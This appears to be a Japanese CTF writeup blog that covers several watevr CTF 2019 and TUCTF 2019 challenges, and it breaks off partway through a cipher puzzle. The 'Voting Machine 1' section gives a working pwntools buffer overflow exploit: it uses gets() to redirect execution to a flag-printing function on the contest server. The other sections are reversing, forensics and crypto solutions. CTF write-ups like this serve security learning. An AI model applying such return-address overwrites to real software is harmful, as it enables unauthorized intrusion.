   0x0000000000400a8a <+996>:	movzx  eax,BYTE PTR [rbp-0x3d]
   0x0000000000400a8e <+1000>:	mov    BYTE PTR [rbp-0x77],al
   0x0000000000400a91 <+1003>:	movzx  eax,BYTE PTR [rbp-0x35]
   0x0000000000400a95 <+1007>:	mov    BYTE PTR [rbp-0x76],al
   0x0000000000400a98 <+1010>:	movzx  eax,BYTE PTR [rbp-0x10]
   0x0000000000400a9c <+1014>:	mov    BYTE PTR [rbp-0x75],al
   0x0000000000400a9f <+1017>:	movzx  eax,BYTE PTR [rbp-0x1a]
   0x0000000000400aa3 <+1021>:	mov    BYTE PTR [rbp-0x74],al
   0x0000000000400aa6 <+1024>:	movzx  eax,BYTE PTR [rbp-0x65]
   0x0000000000400aaa <+1028>:	mov    BYTE PTR [rbp-0x73],al
   0x0000000000400aad <+1031>:	mov    BYTE PTR [rbp-0x72],0x0
   0x0000000000400ab1 <+1035>:	lea    rax,[rbp-0xb0]
   0x0000000000400ab8 <+1042>:	mov    rdi,rax
   0x0000000000400abb <+1045>:	call   0x400530 <puts@plt>
   0x0000000000400ac0 <+1050>:	nop
   0x0000000000400ac1 <+1051>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400ac5 <+1055>:	xor    rax,QWORD PTR fs:0x28
   0x0000000000400ace <+1064>:	je     0x400ad5 <generate+1071>
   0x0000000000400ad0 <+1066>:	call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400ad5 <+1071>:	leave  
   0x0000000000400ad6 <+1072>:	ret    
End of assembler dump.

この情報を元にフラグを組み立てる。

vals = [0x23, 0x3c, 0x49, 0x64, 0x55, 0x2e, 0x77, 0x20, 0x2d, 0x73, 0x3f,
    0x7d, 0x2c, 0x38, 0x6c, 0x53, 0x54, 0x2a, 0x5a, 0x6a, 0x57, 0x3a, 0x66,
    0x5e, 0x4d, 0x36, 0x65, 0x6e, 0x70, 0x68, 0x63, 0x2f, 0x4f, 0x76, 0x25,
    0x4b, 0xb, 0x34, 0x4c, 0x52, 0x67, 0x60, 0x5f, 0x45, 0x7b, 0x72, 0x3b,
    0x7e, 0x4a, 0xa, 0x6b, 0x71, 0x43, 0x24, 0x5c, 0x28, 0x22, 0x40, 0x32,
    0x44, 0x62, 0x50, 0xd, 0x26, 0x31, 0x37, 0xc, 0x5d, 0x79, 0x3e, 0x3d,
    0x78, 0x61, 0x56, 0x59, 0x41, 0x5b, 0x42, 0x46, 0x33, 0, 0x21, 0x74,
    0x51, 0x48, 0x75, 0x30, 0x58, 0x69, 0x35, 0x7c, 0x9, 0x39, 0x4e, 0x2b,
    0x7a, 0x6d, 0x47, 0x29, 0x6f]

adrs_list = [0x6a, 0x28, 0x1e, 0x56, 0x4f, 0x43, 0x44, 0x21, 0x55, 0x52,
    0x43, 0x2c, 0x1e, 0x18, 0xd, 0x55, 0x46, 0x18, 0x67, 0x46, 0xd, 0x4f,
    0x56, 0x43, 0x43, 0x28, 0x1e, 0x56, 0x6d, 0x46, 0x2c, 0xd, 0x1b, 0x1e,
    0x1b, 0x34, 0x56, 0x6b, 0x52, 0xd, 0x10, 0x51, 0x6a, 0x28, 0x1e, 0x52,
    0x53, 0x66, 0x4f, 0x2a, 0x50, 0x33, 0x5a, 0x1a, 0x26, 0x34, 0x19, 0x3d,
    0x35, 0x10, 0x1a, 0x65]

flag = ''
for adrs in adrs_list:
    flag += chr(vals[0x70 - adrs])
print flag
watevr{3ncrytion_is_overrated_youtube.com/watch?v=OPf0YbXqDm0}

Voting Machine 1 (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_a [2];
  
  signal(0xe,sig);
  alarm(0x28);
  puts("Hello and welcome to \x1b[3mour\x1b[23m voting application!");
  puts("Today\'s vote will be regarding the administration of");
  puts("watevr CTF.");
  puts("the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.");
  puts("Thanks!");
  printf("Vote: ");
  fflush(stdout);
  gets(local_a);
  puts("Thanks for voting!");
  return 0;
}

void super_secret_function(void)

{
  int iVar1;
  FILE *__stream;
  char local_9;
  
  __stream = fopen("/home/ctf/flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Cannot open flag.txt");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  iVar1 = fgetc(__stream);
  local_9 = (char)iVar1;
  while (local_9 != -1) {
    putchar((int)local_9);
    iVar1 = fgetc(__stream);
    local_9 = (char)iVar1;
  }
  fclose(__stream);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

bof脆弱性があるので、それを使ってsuper_secret_functionを呼び出せればよい。

$ gdb -q kamikaze
Reading symbols from kamikaze...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/kamikaze 
Hello and welcome to our voting application!
Today's vote will be regarding the administration of
watevr CTF.
the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.
Thanks!
Vote: AAAAAAAA
Thanks for voting!
[Inferior 1 (process 5432) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/kamikaze 
Hello and welcome to our voting application!
Today's vote will be regarding the administration of
watevr CTF.
the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.
Thanks!
Vote: AAAAAAAAAAAA
Thanks for voting!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x602010 ("Thanks for voti"...)
RDI: 0x1 
RBP: 0x4141414141414141 (b'AAAAAAAA')
RSP: 0x7fffffffdca0 --> 0x1 
RIP: 0x7ffff7004141 
R8 : 0x21676e69746f7620 (b' voting!')
R9 : 0x0 
R10: 0x57 (b'W')
R11: 0x246 
R12: 0x400720 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd70 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x7ffff7004141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x00007ffff7004141 in ?? ()
gdb-peda$ p &super_secret_function
$1 = (<text variable, no debug info> *) 0x400807 <super_secret_function>

このアドレスを10バイト目から送り込めばよい。

from pwn import *

#p = process('./kamikaze')
p = remote('13.48.67.196', 50000)
ret = p.recv()

payload = ''
payload += 'A' * 10
payload += p64(0x400807)

print ret + payload
p.sendline(payload)

ret = p.recv()
print ret

実行結果は以下の通り。

[+] Opening connection to 13.48.67.196 on port 50000: Done
Hello and welcome to our voting application!
Today's vote will be regarding the administration of
watevr CTF.
the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.
Thanks!
Vote: AAAAAAAAAA\x07@\x00\x00\x00
Thanks for voting!
watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}

[*] Closed connection to 13.48.67.196 port 50000
watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}

Evil Cuteness (forensics)

jpgが添付されている。

$ binwalk kitty.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
21639         0x5487          Zip archive data, at least v2.0 to extract, compressed size: 40, uncompressed size: 42, name: abc
21813         0x5535          End of Zip archive

jpgの後ろにzipがある。

$ binwalk -e kitty.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
21639         0x5487          Zip archive data, at least v2.0 to extract, compressed size: 40, uncompressed size: 42, name: abc
21813         0x5535          End of Zip archive

$ cat _kitty.jpg.extracted/abc
watevr{7h475_4c7u4lly_r34lly_cu73_7h0u6h}
watevr{7h475_4c7u4lly_r34lly_cu73_7h0u6h}

Swedish RSA (crypto)

Polynomial based RSAの問題。nの多項式因数分解したものがp, qとなる。復号したものも多項式になるが、この問題の場合、次数の低いものの係数から順にASCIIコードとして文字にしていけばフラグになる。
コードを組んでいる途中うまくいかなかったので、nの変数yをxに置換した。

#!/usr/bin/env sage -python
def poly_to_bytes(poly):
    s = ''
    poly_elements = poly.split(' + ')[::-1]
    for elem in poly_elements:
        code = int(elem.split('*')[0])
        s += chr(code)
    return s

p = 43753

P = PolynomialRing(GF(p), 'x')

e = 65537
n = P('34036*x^177 + 23068*x^176 + 13147*x^175 + 36344*x^174 + 10045*x^173 + 41049*x^172 + 17786*x^171 + 16601*x^170 + 7929*x^169 + 37570*x^168 + 990*x^167 + 9622*x^166 + 39273*x^165 + 35284*x^164 + 15632*x^163 + 18850*x^162 + 8800*x^161 + 33148*x^160 + 12147*x^159 + 40487*x^158 + 6407*x^157 + 34111*x^156 + 8446*x^155 + 21908*x^154 + 16812*x^153 + 40624*x^152 + 43506*x^151 + 39116*x^150 + 33011*x^149 + 23914*x^148 + 2210*x^147 + 23196*x^146 + 43359*x^145 + 34455*x^144 + 17684*x^143 + 25262*x^142 + 982*x^141 + 24015*x^140 + 27968*x^139 + 37463*x^138 + 10667*x^137 + 39519*x^136 + 31176*x^135 + 27520*x^134 + 32118*x^133 + 8333*x^132 + 38945*x^131 + 34713*x^130 + 1107*x^129 + 43604*x^128 + 4433*x^127 + 18110*x^126 + 17658*x^125 + 32354*x^124 + 3219*x^123 + 40238*x^122 + 10439*x^121 + 3669*x^120 + 8713*x^119 + 21027*x^118 + 29480*x^117 + 5477*x^116 + 24332*x^115 + 43480*x^114 + 33406*x^113 + 43121*x^112 + 1114*x^111 + 17198*x^110 + 22829*x^109 + 24424*x^108 + 16523*x^107 + 20424*x^106 + 36206*x^105 + 41849*x^104 + 3584*x^103 + 26500*x^102 + 31897*x^101 + 34640*x^100 + 27449*x^99 + 30962*x^98 + 41434*x^97 + 22125*x^96 + 24314*x^95 + 3944*x^94 + 18400*x^93 + 38476*x^92 + 28904*x^91 + 27936*x^90 + 41867*x^89 + 25573*x^88 + 25659*x^87 + 33443*x^86 + 18435*x^85 + 5934*x^84 + 38030*x^83 + 17563*x^82 + 24086*x^81 + 36782*x^80 + 20922*x^79 + 38933*x^78 + 23448*x^77 + 10599*x^76 + 7156*x^75 + 29044*x^74 + 23605*x^73 + 7657*x^72 + 28200*x^71 + 2431*x^70 + 3860*x^69 + 23259*x^68 + 14590*x^67 + 33631*x^66 + 15673*x^65 + 36049*x^64 + 29728*x^63 + 22413*x^62 + 18602*x^61 + 18557*x^60 + 23505*x^59 + 17642*x^58 + 12595*x^57 + 17255*x^56 + 15316*x^55 + 8948*x^54 + 38*x^53 + 40329*x^52 + 9823*x^51 + 5798*x^50 + 6379*x^49 + 8662*x^48 + 34640*x^47 + 38321*x^46 + 18760*x^45 + 13135*x^44 + 15926*x^43 + 34952*x^42 + 28940*x^41 + 13558*x^40 + 42579*x^39 + 38015*x^38 + 33788*x^37 + 12381*x^36 + 195*x^35 + 13709*x^34 + 31500*x^33 + 32994*x^32 + 30486*x^31 + 40414*x^30 + 2578*x^29 + 30525*x^28 + 43067*x^27 + 6195*x^26 + 36288*x^25 + 23236*x^24 + 21493*x^23 + 15808*x^22 + 34500*x^21 + 6390*x^20 + 42994*x^19 + 42151*x^18 + 19248*x^17 + 19291*x^16 + 8124*x^15 + 40161*x^14 + 24726*x^13 + 31874*x^12 + 30272*x^11 + 30761*x^10 + 2296*x^9 + 11017*x^8 + 16559*x^7 + 28949*x^6 + 40499*x^5 + 22377*x^4 + 33628*x^3 + 30598*x^2 + 4386*x + 23814')
c = P('5209*x^176 + 10881*x^175 + 31096*x^174 + 23354*x^173 + 28337*x^172 + 15982*x^171 + 13515*x^170 + 21641*x^169 + 10254*x^168 + 34588*x^167 + 27434*x^166 + 29552*x^165 + 7105*x^164 + 22604*x^163 + 41253*x^162 + 42675*x^161 + 21153*x^160 + 32838*x^159 + 34391*x^158 + 832*x^157 + 720*x^156 + 22883*x^155 + 19236*x^154 + 33772*x^153 + 5020*x^152 + 17943*x^151 + 26967*x^150 + 30847*x^149 + 10306*x^148 + 33966*x^147 + 43255*x^146 + 20342*x^145 + 4474*x^144 + 3490*x^143 + 38033*x^142 + 11224*x^141 + 30565*x^140 + 31967*x^139 + 32382*x^138 + 9759*x^137 + 1030*x^136 + 32122*x^135 + 42614*x^134 + 14280*x^133 + 16533*x^132 + 32676*x^131 + 43070*x^130 + 36009*x^129 + 28497*x^128 + 2940*x^127 + 9747*x^126 + 22758*x^125 + 16615*x^124 + 14086*x^123 + 13038*x^122 + 39603*x^121 + 36260*x^120 + 32502*x^119 + 17619*x^118 + 17700*x^117 + 15083*x^116 + 11311*x^115 + 36496*x^114 + 1300*x^113 + 13601*x^112 + 43425*x^111 + 10376*x^110 + 11551*x^109 + 13684*x^108 + 14955*x^107 + 6661*x^106 + 12674*x^105 + 21534*x^104 + 32132*x^103 + 34135*x^102 + 43684*x^101 + 837*x^100 + 29311*x^99 + 4849*x^98 + 26632*x^97 + 26662*x^96 + 10159*x^95 + 32657*x^94 + 12149*x^93 + 17858*x^92 + 35805*x^91 + 19391*x^90 + 30884*x^89 + 42039*x^88 + 17292*x^87 + 4694*x^86 + 1497*x^85 + 1744*x^84 + 31071*x^83 + 26246*x^82 + 24402*x^81 + 22068*x^80 + 39263*x^79 + 23703*x^78 + 21484*x^77 + 12241*x^76 + 28821*x^75 + 32886*x^74 + 43075*x^73 + 35741*x^72 + 19936*x^71 + 37219*x^70 + 33411*x^69 + 8301*x^68 + 12949*x^67 + 28611*x^66 + 42654*x^65 + 6910*x^64 + 18523*x^63 + 31144*x^62 + 21398*x^61 + 36298*x^60 + 27158*x^59 + 918*x^58 + 38601*x^57 + 4269*x^56 + 5699*x^55 + 36444*x^54 + 34791*x^53 + 37978*x^52 + 32481*x^51 + 8039*x^50 + 11012*x^49 + 11454*x^48 + 30450*x^47 + 1381*x^46 + 32403*x^45 + 8202*x^44 + 8404*x^43 + 37648*x^42 + 43696*x^41 + 34237*x^40 + 36490*x^39 + 41423*x^38 + 35792*x^37 + 36950*x^36 + 31086*x^35 + 38970*x^34 + 12439*x^33 + 7963*x^32 + 16150*x^31 + 11382*x^30 + 3038*x^29 + 20157*x^28 + 23531*x^27 + 32866*x^26 + 5428*x^25 + 21132*x^24 + 13443*x^23 + 28909*x^22 + 42716*x^21 + 6567*x^20 + 24744*x^19 + 8727*x^18 + 14895*x^17 + 28172*x^16 + 30903*x^15 + 26608*x^14 + 27314*x^13 + 42224*x^12 + 42551*x^11 + 37726*x^10 + 11203*x^9 + 36816*x^8 + 5537*x^7 + 20301*x^6 + 17591*x^5 + 41279*x^4 + 7999*x^3 + 33753*x^2 + 34551*x + 9659')

P, Q = n.factor()
P, Q = P[0], Q[0]

s = (p^P.degree() - 1) * (p^Q.degree() - 1)
d = inverse_mod(e, s)
m = pow(c, d, n)

flag = poly_to_bytes(str(m))
print flag
watevr{RSA_from_ikea_is_fun_but_insecure#k20944uehdjfnjd335uro}

TUCTF 2019 Writeup

この大会は2019/11/30 8:00(JST)~2019/12/2 8:00(JST)に開催されました。
今回もチームで参戦。結果は13518点で1005チーム中3位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Welcome)

Discordに入っても、フラグが見つからない。TUCTF Botがあったので、$flagとか入力してみる。入力したことと関係ないと思うが、ダイレクトメッセージにフラグが書かれていた。

TUCTF{W3lc0m3_70_TUCTF._H4v3_fun}

Open Door (Web)

HTMLソースのコメントにこう書いてある。

<!--Laziness leads me to leave this here: TUCTF{f1r5t_fl46_345135t_fl46}-->
TUCTF{f1r5t_fl46_345135t_fl46}

faker (Reversing)

$ ./faker
	Menu:
1. Flag A
2. Flag B
3. Flag C
4. Exit
> 1
TUCTF{n0p3_7h15_15_4_f4k3_fl46}

	Menu:
1. Flag A
2. Flag B
3. Flag C
4. Exit
> 2
TUCTF{50rry_n07_h3r3_317h3r}

	Menu:
1. Flag A
2. Flag B
3. Flag C
4. Exit
> 3
TUCTF{600d_7ry_bu7_k33p_l00k1n6}

	Menu:
1. Flag A
2. Flag B
3. Flag C
4. Exit
> 4

ダミーフラグが表示される。Ghidraでデコンパイルしてみる。関係するコードは以下のようになっている。

void printFlag(char *pcParm1)

{
  char *__dest;
  size_t sVar1;
  int local_30;
  
  __dest = (char *)malloc(0x40);
  memset(__dest,0,0x40);
  strcpy(__dest,pcParm1);
  sVar1 = strlen(__dest);
  local_30 = 0;
  while (local_30 < (int)sVar1) {
    __dest[(long)local_30] =
         (char)((int)((((int)__dest[(long)local_30] ^ 0xfU) - 0x1d) * 8) % 0x5f) + ' ';
    local_30 = local_30 + 1;
  }
  puts(__dest);
  return;
}

void A(void)

{
  printFlag("\\PJ\\fCaq(Lw|)$Tw$Tw@wb@ELwbY@hk");
  return;
}

void B(void)

{
  printFlag("\\PJ\\fCTq00;waq|w)L0LwL$|)L0k");
  return;
}

void C(void)

{
  printFlag("\\PJ\\fChqqZw|0;w2l|wELL(wYqqE$ahk");
  return;
}

void thisone(void)

{
  printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k");
  return;
}

A, B, Cがダミーフラグになっている。thisoneが本物のフラグになると考えられる。printFlagの処理をPythonコードにして実行してみる。

enc = '\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k'
dest = list(enc)

for i in range(len(dest)):
    dest[i] = chr((((ord(dest[i]) ^ 0xf) - 0x1d) * 8) % 0x5f + ord(' '))

print ''.join(dest)
TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}

Red Yarn (Misc)

$ strings DEBUG.COM | grep TUCTF
TUCTF{D0NT_F0RG3T_TH3_B4S1CS!}
TUCTF{D0NT_F0RG3T_TH3_B4S1CS!}

Onions (Misc)

$ binwalk shrek.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
275566        0x4346E         7-zip archive data, version 0.4

jpgの後ろに7-zipがあるので、7-zip部分を切り出し、flag.7zとして保存する。問題タイトルから何重にも圧縮されていることが推測できる。とりあえず展開していく。

$ 7z x flag.7z

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: flag.7z

Extracting  flag.tar.gz

Everything is Ok

Size:       428
Compressed: 538
$ ls
flag.7z  flag.tar.gz
$ gzip -dc flag.tar.gz | tar xvf -
flag.cpio
$ cpio -idv < flag.cpio
flag.lzma
1 ブロック
$ unlzma flag.lzma
unlzma: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ ls
flag  flag.7z  flag.cpio  flag.tar.gz
$ file flag
flag: current ar archive
$ ar x flag
$ ls
flag  flag.7z  flag.cpio  flag.tar.gz  flag1.txt
$ file flag1.txt
flag1.txt: bzip2 compressed data, block size = 900k
$ bzip2 -d flag1.txt
bzip2: Can't guess original name for flag1.txt -- using flag1.txt.out
$ file flag1.txt.out
flag1.txt.out: XZ compressed data
$ mv flag1.txt.out flag1.xz
$ xz -d flag1.xz
xz: flag1: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ ls
flag  flag.7z  flag.cpio  flag.tar.gz  flag1
$ cat flag1
TUCTF{F1L3S4R3L1K30N10NSTH3YH4V3L4Y3RS}
TUCTF{F1L3S4R3L1K30N10NSTH3YH4V3L4Y3RS}

Super Secret (Misc)

odtファイルを解凍する。document\Basic\Standard\flag.xmlにフラグが書いてある。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="flag" script:language="StarBasic" script:moduleType="normal">REM  *****  BASIC  *****

Sub Main
TUCTF{ST0P_TRUST1NG_M4CR0S_FR0M_4N_UNKN0WN_S0URC3}
End Sub
</script:module>
TUCTF{ST0P_TRUST1NG_M4CR0S_FR0M_4N_UNKN0WN_S0URC3}

Crypto Infinite (Crypto)

指定した文字列を暗号化して返してくれるので、それを参考に50問の暗号を復号して答えていく。Level 0から始まるが、Level 4までは換次式暗号とわかるので、変換テーブルを作れれば、簡単に復号できる。Level 5以降は試しながら、暗号の特性を考える。

Level 5:
AAAAAAAAAA
|- [.] [ |- [.] |- > [] |- [.]

ABCDEFGHIJKLMN
|- [. |-| |._ |.- [.] .^ |._ |.-| .v .-| > .^ ^ |- [. |-| |._ |.- [.] .^ |._ |.-| .v .-| > .^ ^

AAAAAABCAA
|- [.] [ |- [.] |- < -| |- [.]

BBBBBBBBBB
._| [. -| ._| [. ._| < [ ._| [.

'A' * 26
|- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.]

'A' * 48
|- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > [] |- [.] [ |- [.] |- > []

以下の繰り返し
|- [.] [ |- [.] |- > []

鍵の長さは8。
26*8パターンの暗号を取得して、それを元に復号する。

Level 6:
'A' * 8 + ... + 'Z' * 8
_| _| |_| |_| |_ |_ ] ] [] [] [ [ -| -| |-| |-| |- |- ._| ._| |._| |._| |._ |._ .] .] [.] [.] [. [. .-| .-| |.-| |.-| |.- |.- v v > > < < ^ ^ .v .v .> .> .< .< .^ .^ _| _| |_| |_| |_ |_ ] ] [] [] [ [ -| -| |-| |-| |- |- ._| ._| |._| |._| |._ |._ .] .] [.] [.] [. [. .-| .-| |.-| |.-| |.- |.- v v > > < < ^ ^ .v .v .> .> .< .< .^ .^ _| _| |_| |_| |_ |_ ] ] [] [] [ [ -| -| |-| |-| |- |- ._| ._| |._| |._| |._ |._ .] .] [.] [.] [. [. .-| .-| |.-| |.-| |.- |.- v v > > < < ^ ^ .v .v .> .> .< .< .^ .^ _| _| |_| |_| |_ |_ ] ] [] [] [ [ -| -| |-| |-| |- |- ._| ._| |._| |._| |._ |._ .] .] [.] [.] [. [. .-| .-| |.-| |.-| |.- |.- v v > > < < ^ ^ .v .v .> .> .< .< .^ .^

'A' * 24
_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|

'B' * 64
|_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_|

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| |_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|

AAAAAAAABBBBBBBB
_| _| |_| |_| _| _| |_| |_| _| _| |_| |_| _| _| |_| |_|

AAAAAAAAAAAABBBBBBBB
_| _| _| |_| |_| _| _| _| |_| |_| _| _| _| |_| |_| _| _| _| |_| |_|

A~Z、それぞれ数を変えて試す。
ABBCCCDDDDEEEEEFFFFFFGGGGGGGHHHHHHHHIIIIIIIIIJJJJJJJJJJKKKKKKKKKKKLLLLLLLLLLLLMMMMMMMMMMMMMNNNNNNNNNNNNNNOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPPQQQQQQQQQQQQQQQQQRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSTTTTTTTTTTTTTTTTTTTTUUUUUUUUUUUUUUUUUUUUUVVVVVVVVVVVVVVVVVVVVVVWWWWWWWWWWWWWWWWWWWWWWWXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYYYYYYYYYYYYYYYYYYZZZZZZZZZZZZZZZZZZZZZZZZZZ
_| |_ ] [] [ [ -| |-| |-| |- |- |- ._| ._| |._| |._| |._| |._ |._ |._ .] .] .] [.] [.] [.] [.] [. [. [. .-| .-| .-| .-| |.-| |.-| |.-| |.-| |.-| |.- |.- |.- |.- v v v v v > > > > > < < < < < ^ ^ ^ ^ ^ ^ .v .v .v .v .v .> .> .> .> .> .> .< .< .< .< .< .< .< .^ .^ .^ .^ .^ .^ |_| |_ ] [] [ -| -| |-| |-| |- |- ._| ._| ._| |._| |._| |._| |._ |._ |._ .] .] .] [.] [.] [.] [. [. [. [. .-| .-| .-| .-| |.-| |.-| |.-| |.-| |.- |.- |.- |.- |.- v v v v v > > > > > < < < < < ^ ^ ^ ^ ^ .v .v .v .v .v .v .> .> .> .> .> .> .< .< .< .< .< .< .^ .^ .^ .^ .^ .^ .^ |_| ] [] [] [ -| -| |-| |-| |- |- ._| ._| ._| |._| |._| |._ |._ |._ .] .] .] .] [.] [.] [.] [. [. [. [. .-| .-| .-| .-| |.-| |.-| |.-| |.-| |.- |.- |.- |.- |.- v v v v > > > > > < < < < < < ^ ^ ^ ^ ^ .v .v .v .v .v .v .> .> .> .> .> .> .< .< .< .< .< .< .^ .^ .^ .^ .^ .^ .^ |_ ] [] [ [ -| -| |-| |-| |- |- ._| ._| |._| |._| |._| |._ |._ |._ .] .] .] [.] [.] [.] [.] [. [. [. [. .-| .-| .-| .-| |.-| |.-| |.-| |.-| |.- |.- |.- |.- v v v v v > > > > > < < < < < ^ ^ ^ ^ ^ ^ .v .v .v .v .v .v .> .> .> .> .> .> .< .< .< .< .< .< .^ .^ .^ .^ .^ .^

以下のような文字の対応となり、並べ替えられていることがわかる。
A: _|
B: |_|
C: |_
D: ]
E: []
F: [
G: -|
H: |-|
I: |-
J: ._|
K: |._|
L: |._
M: .]
N: [.]
O: [.
P: .-|
Q: |.-|
R: |.-
S: v
T: >
U: <
V: ^
W: .v
X: .>
Y: .<
Z: .^

ABCDEFGHIJKLMNOPQRSTUVWXYZ
_| [] |- .] |.-| < .< |_| [ ._| [.] |.- ^ .^ |_ -| |._| [. v .v ] |-| |._ .-| > .>

A  E  I  M  Q    U Y  B   F  J  N   R   V Z  C  G  K    O  S W  D H   L   P   T X

スキュタレー暗号になっている。

Level 7:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
[] |- ] -| |-| |._| |._ [. ._| [.] |.- .] .-| |.-| < v ^ > .< .v .^ .> |_| |_ [ _|

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] []

ZYXWVUTSRQPONMLKJIHGFEDCBA
_| [ |_ |_| .> .^ .v .< > ^ v < |.-| .-| .] |.- [.] ._| [. |._ |._| |-| -| ] |- []

また換次式暗号に戻ったみたい。

Level 8:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
-[ ^ .] ^ ]v. - ]v. ]v| ]|] -v[ ]|] v^ v[ v^ > ]. ^ ]. - < - v_ v.] ]|] v.] v[

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[ < -[ ]v. -v[ |] ]v| -[

-[ < -[ ]v. -v[ |] ]v|の繰り返し

Level 5と同様で鍵の長さは7。
26*7パターンの暗号を取得して、それを元に復号する。

Level 9:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.]

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
